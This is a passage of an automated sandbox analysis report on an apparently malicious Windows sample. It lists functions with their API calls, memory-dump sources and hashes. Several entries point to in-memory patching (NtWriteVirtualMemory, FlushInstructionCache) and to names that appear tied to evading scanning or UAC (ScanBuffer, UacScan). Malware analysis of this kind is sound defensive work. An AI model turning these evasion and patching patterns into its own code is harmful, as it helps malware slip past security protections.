                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: A7318438A047059FDB00EFA8DC817DEBBF5AF0E704F508565E514AF390DB769A448BA1
                                                                                                                                                                                                                                  Function 031DE364 Relevance: 4.5, APIs: 3, Instructions: 45COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: ClearVariant
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 1473721057-0
                                                                                                                                                                                                                                  • Opcode ID: 622567a71420edb957b697e3b877187722f6153ff137fbd9652da6e1b6519746
                                                                                                                                                                                                                                  • Instruction ID: 50e6fd1a1cac999af717223a00e8490d9152bd7da53ecc68d299170b0065dba2
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 622567a71420edb957b697e3b877187722f6153ff137fbd9652da6e1b6519746
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 37F08728708310A7CA28FB3D8D8457A27985F4F3627546876A4469FA09CB668C85C7B2
                                                                                                                                                                                                                                  Function 031D4D50 Relevance: 4.5, APIs: 3, Instructions: 24memoryCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • SysFreeString.OLEAUT32(031EF4A4), ref: 031D4C6E
                                                                                                                                                                                                                                  • SysAllocStringLen.OLEAUT32(?,?), ref: 031D4D5B
                                                                                                                                                                                                                                  • SysFreeString.OLEAUT32(00000000), ref: 031D4D6D
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: String$Free$Alloc
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 986138563-0
                                                                                                                                                                                                                                  • Opcode ID: 14a39e70b1f36bc65fa893dbd8748944ab5609f9adeb0f78e0d3211148921afc
                                                                                                                                                                                                                                  • Instruction ID: 2eecd726503ae9280f90e308458536224a4978c78e911f1c1a91c4c2794f8f81
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 14a39e70b1f36bc65fa893dbd8748944ab5609f9adeb0f78e0d3211148921afc
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 24E0ECBC2053056FEF54EF629D40A366329AFCF640B2888A8E400DE164DF399441A628
                                                                                                                                                                                                                                  Function 031E70DC Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 256COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • SysFreeString.OLEAUT32(?), ref: 031E73DA
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: FreeString
                                                                                                                                                                                                                                  • String ID: H
                                                                                                                                                                                                                                  • API String ID: 3341692771-2852464175
                                                                                                                                                                                                                                  • Opcode ID: f87a373e0f7dc4e315bc52ab6c12c397e141732e34b43c663d7657226bfe478c
                                                                                                                                                                                                                                  • Instruction ID: 8a37e6d4cadd2302cd545f00bd02237eeb64d31a25a6faf6277230d52375e681
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: f87a373e0f7dc4e315bc52ab6c12c397e141732e34b43c663d7657226bfe478c
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 35B1E478A01A099FEB15CF99D480A9DBBF6FF8D310F158569E805AB360D732AC85CF50
                                                                                                                                                                                                                                  Function 031DE760 Relevance: 3.1, APIs: 2, Instructions: 63COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • VariantCopy.OLEAUT32(00000000,00000000), ref: 031DE781
                                                                                                                                                                                                                                    • Part of subcall function 031DE364: VariantClear.OLEAUT32(?), ref: 031DE373
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Variant$ClearCopy
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 274517740-0
                                                                                                                                                                                                                                  • Opcode ID: 4371b64f3ebe00d59056f2e21acd408dd2094b04b88e7e6fe847fe8531d46b22
                                                                                                                                                                                                                                  • Instruction ID: b9e2b28dde272b1fb335daae6d123775eef77dd33a5f7d8d05557a637dfdac51
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 4371b64f3ebe00d59056f2e21acd408dd2094b04b88e7e6fe847fe8531d46b22
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: DD11A52870032087D734EF29C8C496777D9AF8F652B458466E44B8F219DB31CC41C6F2
                                                                                                                                                                                                                                  Function 031DE3FC Relevance: 1.6, APIs: 1, Instructions: 96COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: InitVariant
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 1927566239-0
                                                                                                                                                                                                                                  • Opcode ID: 01517a5b4b07e4a4b66e6b4f13fbbffc613e524803e7e44566613380f3839e6a
                                                                                                                                                                                                                                  • Instruction ID: aa0777db334cd3615d1a91c7ed9b59698ed4f995519050f471dc5194d7fdeda3
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 01517a5b4b07e4a4b66e6b4f13fbbffc613e524803e7e44566613380f3839e6a
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 19314376600218AFDF14EFA8D8889AE77FCEB0E212F484565F905DB640D734DA90CBB1
                                                                                                                                                                                                                                  Function 031E89D0 Relevance: 1.6, APIs: 1, Instructions: 72COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                    • Part of subcall function 031E81CC: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,031E823C,?,?,00000000,?,031E7A7E,ntdll,00000000,00000000,031E7AC3,?,?,00000000), ref: 031E820A
                                                                                                                                                                                                                                    • Part of subcall function 031E81CC: GetModuleHandleA.KERNELBASE(?), ref: 031E821E
                                                                                                                                                                                                                                    • Part of subcall function 031E8274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,031E82FC,?,?,00000000,00000000,?,031E8215,00000000,KernelBASE,00000000,00000000,031E823C), ref: 031E82C1
                                                                                                                                                                                                                                    • Part of subcall function 031E8274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 031E82C7
                                                                                                                                                                                                                                    • Part of subcall function 031E8274: GetProcAddress.KERNEL32(?,?), ref: 031E82D9
                                                                                                                                                                                                                                    • Part of subcall function 031E7D78: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 031E7DEC
                                                                                                                                                                                                                                    • Part of subcall function 031E8338: FlushInstructionCache.KERNEL32(?,?,?,00000000,Kernel32,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,031E83C2), ref: 031E83A4
                                                                                                                                                                                                                                  • FreeLibrary.KERNEL32(74F60000,00000000,00000000,00000000,00000000,0325738C,Function_0000662C,00000004,0325739C,0325738C,05F5E103,00000040,032573A0,74F60000,00000000,00000000), ref: 031E8AAA
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: HandleModule$AddressProc$CacheFlushFreeInstructionLibraryMemoryVirtualWrite
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 1478290883-0
                                                                                                                                                                                                                                  • Opcode ID: 9a23a49073a3e471342b41945ce5c54ede71d16b2b5136d5f8de38b9385a8e44
                                                                                                                                                                                                                                  • Instruction ID: 5d6809c3f39889ed17726f2726c71cf32a2912d9518a4446861a4100fc07f7f3
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 9a23a49073a3e471342b41945ce5c54ede71d16b2b5136d5f8de38b9385a8e44
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 4721B478780704BFDB04FBB9EC42B5E77A8DB4DA20F500460B914EF290DF76AA408718
                                                                                                                                                                                                                                  Function 031E6D6C Relevance: 1.5, APIs: 1, Instructions: 30COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • CLSIDFromProgID.OLE32(00000000,?,00000000,031E6DB9,?,?,?,00000000), ref: 031E6D99
                                                                                                                                                                                                                                    • Part of subcall function 031D4C60: SysFreeString.OLEAUT32(031EF4A4), ref: 031D4C6E
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: FreeFromProgString
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 4225568880-0
                                                                                                                                                                                                                                  • Opcode ID: c34f2caf389ac52da48dd52370fb152ff73232940adc63a447b1ad074f1087f3
                                                                                                                                                                                                                                  • Instruction ID: 4a8b4041e44cf896c5e73b4ab56f5bedf3abf10c73cf8cbf8630d968aaee2f43
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: c34f2caf389ac52da48dd52370fb152ff73232940adc63a447b1ad074f1087f3
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 36E06D39604B08BFD711EBA6DC51D9E76ACEB8F610BE244B1E900A7654DF76AE00C4A0
                                                                                                                                                                                                                                  Function 031D5868 Relevance: 1.5, APIs: 1, Instructions: 26COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • GetModuleFileNameA.KERNEL32(031D0000,?,00000105), ref: 031D5886
                                                                                                                                                                                                                                    • Part of subcall function 031D5ACC: GetModuleFileNameA.KERNEL32(00000000,?,00000105,031D0000,031FE790), ref: 031D5AE8
                                                                                                                                                                                                                                    • Part of subcall function 031D5ACC: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,031D0000,031FE790), ref: 031D5B06
                                                                                                                                                                                                                                    • Part of subcall function 031D5ACC: RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,031D0000,031FE790), ref: 031D5B24
                                                                                                                                                                                                                                    • Part of subcall function 031D5ACC: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 031D5B42
                                                                                                                                                                                                                                    • Part of subcall function 031D5ACC: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,031D5BD1,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 031D5B8B
                                                                                                                                                                                                                                    • Part of subcall function 031D5ACC: RegQueryValueExA.ADVAPI32(?,031D5D38,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,031D5BD1,?,80000001), ref: 031D5BA9
                                                                                                                                                                                                                                    • Part of subcall function 031D5ACC: RegCloseKey.ADVAPI32(?,031D5BD8,00000000,?,?,00000000,031D5BD1,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 031D5BCB
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Open$FileModuleNameQueryValue$Close
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 2796650324-0
                                                                                                                                                                                                                                  • Opcode ID: 450f0b7c147cec959141904987b0b6e2a54cef4eccdf5940c5d91eecae94a061
                                                                                                                                                                                                                                  • Instruction ID: 5d8e61aa96cb77e7f9beddc58c682ee895ab133cd4241ad83ef980cb03ead203
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 450f0b7c147cec959141904987b0b6e2a54cef4eccdf5940c5d91eecae94a061
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: DFE06D75A003149FCB10DEACC8C0A5733D8AB0E650F0809A1EC54CF246D7B0D91087D0
                                                                                                                                                                                                                                  Function 031D7DE0 Relevance: 1.5, APIs: 1, Instructions: 23fileCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • WriteFile.KERNEL32(?,?,?,?,00000000), ref: 031D7DF4
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: FileWrite
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 3934441357-0
                                                                                                                                                                                                                                  • Opcode ID: d61ce2c3c763b7742acb03e8648b5f8fe395973a28385ba7f431f6bc08d7eb89
                                                                                                                                                                                                                                  • Instruction ID: f323bbf8308457f0158405dbf9d11dec1ba4d6eee9310630146c54cd94dff748
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: d61ce2c3c763b7742acb03e8648b5f8fe395973a28385ba7f431f6bc08d7eb89
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 5BD05BB63092507BE224D65A9D44DA75BDCCBCB770F10077DF568C7180D7208C01C271
                                                                                                                                                                                                                                  Function 031D7E5C Relevance: 1.5, APIs: 1, Instructions: 16COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • GetFileAttributesA.KERNEL32(00000000,?,031F041F,ScanString,03257380,031FB7B8,OpenSession,03257380,031FB7B8,ScanString,03257380,031FB7B8,UacScan,03257380,031FB7B8,UacInitialize), ref: 031D7E67
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: AttributesFile
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 3188754299-0
                                                                                                                                                                                                                                  • Opcode ID: f0603f79c985abbd9e467084389eeeab23f229ce479b25f1777e651fb4263a00
                                                                                                                                                                                                                                  • Instruction ID: 0a33fd587d702de4003bec9dd4b3975ada098225f78596b5f614ca8f268d464a
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: f0603f79c985abbd9e467084389eeeab23f229ce479b25f1777e651fb4263a00
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 4FC08CA42053000B5E54E9BD2CC524A9289090F0303A80A21A438C62E2DB32A8B32010
                                                                                                                                                                                                                                  Function 031D7E80 Relevance: 1.5, APIs: 1, Instructions: 16COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • GetFileAttributesA.KERNEL32(00000000,?,031F356F,ScanString,03257380,031FB7B8,OpenSession,03257380,031FB7B8,ScanBuffer,03257380,031FB7B8,OpenSession,03257380,031FB7B8,Initialize), ref: 031D7E8B
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: AttributesFile
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 3188754299-0
                                                                                                                                                                                                                                  • Opcode ID: 3467ccafc9b080e3920a03b803a7582c061543677b4cd7e3fb3217d71785ba3f
                                                                                                                                                                                                                                  • Instruction ID: 51dc1d3e746667d37c8ebc8ec0e32b4d38bd6088607d6a15b9a8c4dc91341242
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 3467ccafc9b080e3920a03b803a7582c061543677b4cd7e3fb3217d71785ba3f
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 94C08CF62153000B5E60EABD1CC411A0388098F0307A81E61E438CA2C1DB26A8322020
                                                                                                                                                                                                                                  Function 031D4C78 Relevance: 1.5, APIs: 1, Instructions: 16COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: FreeString
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 3341692771-0
                                                                                                                                                                                                                                  • Opcode ID: 8f59a01dc2def63d57c38a763d75440e0a15885831eefe8f9f31431ff0765006
                                                                                                                                                                                                                                  • Instruction ID: ccc19dece5638724192cc5b88054f4f33ae71964c1cbfc162d522799be514514
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 8f59a01dc2def63d57c38a763d75440e0a15885831eefe8f9f31431ff0765006
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: DEC012AA60023057EF61D69AACC075262CC9B0F295B1804A1D404DB250EB7098008290
                                                                                                                                                                                                                                  Function 031FC35C Relevance: 1.5, APIs: 1, Instructions: 12COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • timeSetEvent.WINMM(00002710,00000000,031FC350,00000000,00000001), ref: 031FC36C
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
